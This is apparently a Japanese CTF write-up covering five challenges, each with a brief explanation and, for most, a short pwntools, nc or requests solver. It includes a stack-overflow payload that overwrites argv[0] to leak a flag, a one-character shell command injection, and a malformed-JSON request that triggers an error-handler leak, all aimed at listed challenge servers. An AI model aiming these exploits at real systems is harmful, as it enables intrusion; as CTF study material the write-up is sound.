Index

4/5 The Horn

暗号化の各ラウンドは鍵とのXORと置換なので、32 ラウンドまとめても置換とXORの合成に潰れる。 ※置換はXORに対して線形(P(a⊕b)=P(a)⊕P(b))

したがって暗号化関数全体は encrypt(pt) = P^32(pt) xor const の形になる。

00...00 を 1 回だけ暗号化すると const がそのまま得られるので、最初に表示される CHALLENGE から XOR で外し、 P^32 を逆にたどれば元の CHALLENGE を復元できる。

from pwn import context, remote
context.log_level = "error"
PERM = [23, 0, 10, 6, 16, 21, 30, 3, 2, 15, 31, 29, 8, 18, 13, 25, 26, 1, 11, 4, 17, 20, 5, 14, 9, 12, 22, 19, 7, 28, 27, 24]
io = remote("34.170.146.252", 30351)
text = io.recvuntil(b"pt: ").decode()
challenge_ct = bytes.fromhex(text.split("CHALLENGE: ")[1].splitlines()[0])
io.sendline(b"00" * 32)
zero_ct = bytes.fromhex(io.recvline().strip().decode())
x = bytes(a ^ b for a, b in zip(challenge_ct, zero_ct))
challenge = bytearray(32)
for i, src in enumerate(PERM):
    challenge[src] = x[i]
io.recvuntil(b"pt: ")
io.sendline(b"guess")
io.recvuntil(b"challenge: ")
io.sendline(bytes(challenge).hex().encode())
print(io.recvall().decode())

4/6 login-bonus-2

scanf("%[^\\n]", password) の BOF には canary があるが、argv[0] の実体は初期スタック上にある。 password から約 0x198 byte 上にある argv[0] スロットを g_flag (0x404040) に書き換えると、 canary check の前に呼ばれる printf("%s: Auth NG\\n", argv[0]) が flag をそのまま表示する。 ※gefでargv, telescopeコマンドなどで見つけられます

from pwn import p64, remote
io = remote("34.170.146.252", 19608)
io.recvuntil(b"Password: ")
io.sendline(b"A" * 0x198 + p64(0x404040))
print(io.recvall().decode("latin1"))

4/7 No Content

/204 No ContentContent-Length: 0 を返すが、実装では end_headers() の後にそのまま flag を write() している。 そのため一般的な HTTP client は body を捨てるが、raw socket で HTTP レスポンス全体を読めばヘッダの後ろに flag が残っている。

 printf "GET / HTTP/1.1\\r\\n\\r\\n" | nc <host> <port>

4/8 1️⃣

os.system(f"{input(\\"> \\")[:1]} /app/flag.txt") なので使うのは 1 文字。

色々試したところ見つかったのが . で、これは shell builtin の source であり、/app/flag.txt をシェルスクリプトとして読みにいく。 そのままエラーに flag が漏れるという仕組みだった。

4/9 panic

route 自体は常に同じ HTML を返すが、Fastify は handler に入る前に request body を parse する。

そのため Content-Type: application/json を付けて壊れた JSON を POST すると body parser が例外を投げ、 setErrorHandler((error) => process.env.FLAG) がそのまま flag を返す。

import requests
r = requests.post(
    "<http://34.170.146.252:43880/>",
    data="{",
    headers={"Content-Type": "application/json"},
)
print(r.text)